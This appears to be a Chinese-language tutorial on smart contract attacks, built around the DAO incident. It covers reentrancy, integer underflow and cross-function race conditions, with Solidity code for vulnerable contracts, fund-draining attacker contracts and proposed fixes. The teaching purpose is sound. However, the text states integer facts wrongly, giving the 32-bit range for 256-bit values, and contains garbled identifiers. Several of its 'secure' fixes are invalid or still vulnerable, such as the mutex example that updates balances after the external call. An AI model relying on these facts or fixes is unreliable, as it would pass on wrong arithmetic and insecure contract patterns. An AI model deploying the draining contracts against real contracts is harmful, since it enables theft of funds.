區(qū)塊鏈智能合約被攻擊了怎么辦
如果你在數(shù)字貨幣世界待過(guò)足夠時(shí)間,也許你聽(tīng)說(shuō)過(guò)1或2個(gè)智能合約攻擊時(shí)間,這些攻擊導(dǎo)致了幾千萬(wàn)美元的盜竊損失。最著名的攻擊是DAO事件,這是數(shù)字貨幣世界最受期待的項(xiàng)目之一,同時(shí)也是智能合約的改革。雖然很多人聽(tīng)說(shuō)過(guò)這些攻擊,但是很少人知道到底發(fā)生了什么,是怎么發(fā)生的,以及如何避免這些錯(cuò)誤。
智能合約是動(dòng)態(tài)的,復(fù)雜的以及難以置信地強(qiáng)大。雖然他們的潛力是很難想象,但是也不可能一夜之間就成為了攻擊的對(duì)象。也就是說(shuō),對(duì)于往后的數(shù)字貨幣,我們可以從之前的錯(cuò)誤中學(xué)到經(jīng)驗(yàn),然后一起成長(zhǎng)。雖然DAO是已經(jīng)發(fā)生的事情,但是這對(duì)于開(kāi)發(fā)者,投資者,以及社區(qū)成員對(duì)于智能合約攻擊來(lái)說(shuō),都是一個(gè)很好的例子。
今天,我想和大家聊聊從DAO事件中,我們學(xué)到的3件事。
攻擊#1:重入攻擊
當(dāng)攻擊者通過(guò)對(duì)目標(biāo)調(diào)用提款操作的時(shí)候,重入攻擊就會(huì)發(fā)生,就好像DAO事件一樣。當(dāng)合約不能在發(fā)出資金之前更新?tīng)顟B(tài)(用戶余額),攻擊者就可以連續(xù)進(jìn)行提取函數(shù)調(diào)用,來(lái)獲得合約中的資金。任何時(shí)候攻擊者獲得以太幣,他的合約都會(huì)自動(dòng)地調(diào)用反饋函數(shù),function (),這就再次調(diào)用了提現(xiàn)合約。這時(shí)候,攻擊就會(huì)進(jìn)入遞歸回路,這時(shí)候這個(gè)合約中的資金就會(huì)轉(zhuǎn)入攻擊者。因?yàn)槟繕?biāo)合約都在不停地調(diào)用攻擊者的函數(shù),這個(gè)合約也不會(huì)更新攻擊者的余額。當(dāng)前的合約不會(huì)發(fā)現(xiàn)有任何問(wèn)題,更清楚地說(shuō),合約函數(shù)中包含反饋函數(shù),當(dāng)合約收到以太幣和零數(shù)據(jù)的時(shí)候,合約函數(shù)就會(huì)自動(dòng)執(zhí)行。
攻擊流程
1.攻擊者將以太幣存入目標(biāo)函數(shù)
2.目標(biāo)函數(shù)就會(huì)根據(jù)存入的以太幣而更新攻擊者的約
3.攻擊者請(qǐng)求拿回資金
4.資金就會(huì)退回
5.攻擊者的反饋函數(shù)生效,然后調(diào)用提現(xiàn)功能
6.智能合約的邏輯就會(huì)更新攻擊者的余額,因?yàn)樘岈F(xiàn)又被成功調(diào)用
7.資金發(fā)送到攻擊者
8.第5-7步重復(fù)使用
9.一旦攻擊結(jié)束,攻擊者就會(huì)把資金從他們自己的合約發(fā)送到個(gè)人地址
1*UeDgMZo2n0skHzgkl352zQ
重入攻擊的遞歸回路
很不幸地是,一旦這個(gè)攻擊開(kāi)始,無(wú)法停下。攻擊者的提現(xiàn)功能會(huì)被一次次地調(diào)用,直到合約中的燃料跑完,或者被害者的以太幣余額被消耗光。
代碼
下面就是DAO合約的簡(jiǎn)單版本,其中會(huì)包括一些介紹來(lái)為這些不熟悉代碼/ solidity語(yǔ)言更好地理解合約。
contract babyDAO {
/* assign key/value pair so we can look up
credit integers with an ETH address */
mapping (address => uint256) public credit;
/* a funcTIon for funds to be added to the contract,
sender will be credited amount sent */
funcTIon donate(address to) payable {
credit[msg.sender] += msg.value;
}
/*show ether credited to address*/
funcTIon assignedCredit(address) returns (uint) {
return credit[msg.sender];
}
/*withdrawal ether from contract*/
funcTIon withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;
}
}
}
如果我們看下函數(shù)withdraw(),我們可以看到DAO合約使用address.call.value()來(lái)發(fā)送資金到msg.sender。不僅如此,在資金發(fā)出后,合約會(huì)更新credit[msg.sender]的狀態(tài)。攻擊者在發(fā)現(xiàn)了合約代碼中的問(wèn)題,就能夠使用類似下面的ThisIsAHodlUp {}來(lái)將資金轉(zhuǎn)入contract babyDAO{}合約。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {
/* assign babyDAO contract as "dao" */
babyDAO public dao = babyDAO(0x2ae...);
address owner;
/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
/*fallback function, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.a(chǎn)ssignedCredit(this));
}
/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}
需要注意地是,這個(gè)后退函數(shù),function(),會(huì)調(diào)用DAO或者babyDAO{}的提現(xiàn)函數(shù),來(lái)從合約中盜取資金。從另個(gè)方面來(lái)說(shuō),當(dāng)攻擊者想要把所有偷竊來(lái)的資金賺到他們的地址,drainFunds()功能會(huì)被調(diào)用。
解決方案
現(xiàn)在,我們應(yīng)該清楚重放攻擊會(huì)利用兩個(gè)特別的智能合約漏洞。第一個(gè)是當(dāng)合約的狀態(tài)在資金發(fā)出之后,而不是之前進(jìn)行更新。由于在發(fā)出資金前無(wú)法更新合約狀態(tài),函數(shù)就會(huì)在中間計(jì)算的時(shí)候被打斷,合約也認(rèn)為資金其實(shí)還沒(méi)有發(fā)出。第二個(gè)漏洞就當(dāng)合約錯(cuò)誤地使用address.call.value()來(lái)發(fā)出資金,而不是address.transfer() 或者 address.send()。這兩個(gè)都受限于2300gas,只記錄一個(gè)事件而不是多個(gè)外部調(diào)用。
contract babyDAO{
....
function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
credit[msg.sender] -= amount; /* updates balance first */
msg.sender.send(amount)(); /* send funds properly */
}
}
攻擊2:下溢攻擊
雖然DAO合約不會(huì)讓受害者掉入下溢攻擊,我們能夠通過(guò)現(xiàn)有的babyDAO contract{}來(lái)更好地理解這些攻擊為什么會(huì)發(fā)生。
首先,我們需要理解什么是256單位制。一個(gè)256單位制是由256個(gè)字節(jié)組成。以太坊的虛擬機(jī)是使用256字節(jié)來(lái)完成的。因?yàn)橐蕴惶摂M機(jī)受限于256字節(jié)的大小,所以數(shù)字的范圍是0到4,294,967,295 (22??)。如果我們超過(guò)這個(gè)范圍,那么數(shù)字就會(huì)重置到范圍的最底部(22?? + 1 = 0)。如果我們低于這個(gè)范圍,這個(gè)數(shù)字就會(huì)重置到這個(gè)范圍的頂端(0–1= 22??)。
當(dāng)我們從零中減去大于零的數(shù),就會(huì)發(fā)生下溢攻擊,導(dǎo)致一個(gè)新的22??數(shù)集?,F(xiàn)在,如果攻擊者的余額發(fā)生了下溢,那么這部分余額就會(huì)更新,從而導(dǎo)致整個(gè)資金被盜。
攻擊流程
攻擊者通過(guò)發(fā)出1Wei到目標(biāo)合約,來(lái)啟動(dòng)攻擊。
合約認(rèn)證發(fā)出資金的人
隨后調(diào)用1Wei的提現(xiàn)函數(shù)
合約會(huì)從發(fā)送者的賬戶扣除的1Wei,現(xiàn)在賬戶余額又是零
因?yàn)槟繕?biāo)合約將以太幣發(fā)給攻擊者,攻擊者的退回函數(shù)被處罰,所以提現(xiàn)函數(shù)又被調(diào)用。
提現(xiàn)1Wei的事件被記錄
攻擊者合約的余額就會(huì)更新兩次,第一次是到零,第二次是到-1。
攻擊者的余額回置到22??
攻擊者通過(guò)提現(xiàn)目標(biāo)合約的所有資金,從而完成整個(gè)攻擊
代碼
/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}
/*fallback function, results in 0–1 = 2**256 */
function() {
if (performAttack) {
performAttack = false;
dao.withdraw(1);
}
}
/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}
}
解決方案
為了防止受害人陷入下溢攻擊,最好的方法是看更新的狀態(tài)是否在字節(jié)范圍內(nèi)。我們可以添加參數(shù)來(lái)檢查我們的代碼,作為最后一層保護(hù)。函數(shù)withdraw()的首行代碼是為了檢查是否有足夠的資金,第二行是為了檢查超溢,第三個(gè)是檢查下溢。
contract babysDAO{
....
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount
&& credit[msg.sender] + amount >= credit[msg.sender]
&& credit[msg.sender] - amount <= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}
需要注意,就像我們之前討論,我們上面的代碼是在發(fā)出資金之前更新用戶的余額。
攻擊#3:跨函數(shù)競(jìng)爭(zhēng)條件
最后要說(shuō)的,就是跨函數(shù)競(jìng)爭(zhēng)攻擊。就像在重放攻擊中所說(shuō),DAO合約不能正確的更新合約狀態(tài),并且可以讓資金被盜竊。DAO問(wèn)題和外部調(diào)用中的部分原因是跨函數(shù)競(jìng)爭(zhēng)條件攻擊的潛在原因。雖然以太坊中所有的轉(zhuǎn)賬是線性發(fā)生(一個(gè)在另一個(gè)后面), 外部調(diào)用(另一個(gè)合約或者地址的調(diào)用)如果沒(méi)有被合理管理,就會(huì)成為災(zāi)難的導(dǎo)火線。在現(xiàn)實(shí)世界中,他們是完全可以避免的。當(dāng)兩個(gè)函數(shù)被調(diào)用并且分享同個(gè)狀態(tài),跨函數(shù)競(jìng)爭(zhēng)條件攻擊就會(huì)發(fā)生。這個(gè)合約就會(huì)想到,現(xiàn)在有兩個(gè)合約狀態(tài)存在,但是現(xiàn)實(shí)是只有一個(gè)真正的合約狀態(tài)存在。我們不能同時(shí)獲得X = 3和X = 4這兩種結(jié)果。 讓我們用一個(gè)例子來(lái)說(shuō)明這個(gè)內(nèi)容。
攻擊和代碼
contract crossFunctionRace{
mapping (address => uint) private userBalances;
/* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
/* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}
上面的合約有2個(gè)功能 – 一個(gè)是可以轉(zhuǎn)移資金,另一個(gè)是提現(xiàn)資金。我們假設(shè)攻擊者調(diào)用了函數(shù)transfer(),然后同時(shí)使用外部調(diào)用函數(shù)withdrawalBalance()。userBalance[msg.sender]的狀態(tài)通過(guò)2個(gè)不同的方向被抽出。用戶的余額還沒(méi)有被設(shè)為0,但是盡管資金已經(jīng)被提取,攻擊者也能夠轉(zhuǎn)移資金。這樣情況下,合約可以讓攻擊者使用雙花,這也是區(qū)塊鏈技術(shù)想要解決的問(wèn)題之一。
注意:如果有函數(shù)分享狀態(tài),跨函數(shù)競(jìng)爭(zhēng)條件攻擊就會(huì)在多個(gè)合約中發(fā)生。
-在調(diào)用外部函數(shù)之前,應(yīng)該完成所有的內(nèi)部工作
-避免發(fā)生外部調(diào)用
-在不可避免地時(shí)候,使用外部函數(shù)“不可信”
-在外部調(diào)用不可避免的情況下,使用互斥
根據(jù)下面的合約,我們可以看到一個(gè)例子1) 在完成外部調(diào)用之前,完成內(nèi)部工作。2)將所有外部調(diào)用都設(shè)為“不可信”。我們的合約會(huì)讓資金發(fā)送到一個(gè)地址,并且允許用戶一次性將資金存入合同。
contract crossFunctionRace{
mapping (address => uint) private userBalances;
mapping (address => uint) private reward;
mapping (address => bool) private claimedReward;
//makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}
//untrusted because withdraw is called, an external call
function untrustedGetReward(address recipient) public {
//check that reward hasn’t already been claimed
require(!claimedReward[recipient]);
//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}
我們可以看出,這個(gè)合約的首個(gè)函數(shù)在發(fā)送資金到用戶的合約/地址的時(shí)候,就會(huì)發(fā)生外部調(diào)用。同樣地,獎(jiǎng)勵(lì)函數(shù)在發(fā)送一次性獎(jiǎng)勵(lì)的時(shí)候,也會(huì)使用提現(xiàn)函數(shù),因?yàn)檫@也是不可信的。同樣重要地是,合約需要執(zhí)行所有內(nèi)部工作。就好像重入攻擊,函數(shù)untrustedGetReward()會(huì)在允許提現(xiàn)之前,讓用戶獲得一次性的獎(jiǎng)勵(lì),從而防止跨函數(shù)競(jìng)爭(zhēng)條件攻擊。
在真實(shí)世界,智能合約不需要依賴于外部調(diào)用。事實(shí)上,外部調(diào)用在很多情況下,在工作環(huán)境中都幾乎不可能發(fā)生的。由于這個(gè)原因,使用互斥體來(lái)“鎖定”一些狀態(tài),并且讓擁有者有能力去改變狀態(tài),可以幫助防止這類災(zāi)難。雖然互斥體非常有效,但是當(dāng)用于多個(gè)合約的時(shí)候,都會(huì)變的很棘手。如果你使用互斥體來(lái)防止這類攻擊,你需要很仔細(xì)地確保沒(méi)有其他方法來(lái)鎖定,或者永遠(yuǎn)不會(huì)釋放。如果使用互斥體的方法,在寫(xiě)入智能合約的時(shí)候,你需要保證你完全理解潛在的危險(xiǎn)。
contract mutexExample{
mapping (address => uint) private balances;
bool private lockBalances;
function deposit() payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
/*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
function withdraw(uint amount) payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount > 0 && balances[msg.sender]
>= amount);
/*lock, execute, unlock*/
lockBalances = true;
if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
}
以上,我們可以看到合約mutexExample()會(huì)有私人鎖定狀態(tài),來(lái)實(shí)行deposit()函數(shù)功能和withdraw()函數(shù)。鎖定會(huì)防止用戶能夠在所有的初步調(diào)用完成之前,成功完成withdraw()調(diào)用,可以防止任何種類的跨函數(shù)競(jìng)爭(zhēng)條件攻擊。
最后的結(jié)果
力量越大,責(zé)任越大。雖然區(qū)塊鏈和智能合約技術(shù)每天都在革新,但是風(fēng)險(xiǎn)依然很高。攻擊者從沒(méi)有放棄去尋找機(jī)會(huì)來(lái)攻擊這些合約。這取決于我們來(lái)保證,我們可以從之前項(xiàng)目的問(wèn)題中學(xué)習(xí)經(jīng)驗(yàn),來(lái)讓我們獲得成長(zhǎng)。希望通過(guò)這篇文章,以及其他系列文章,你可以更明白智能合約攻擊。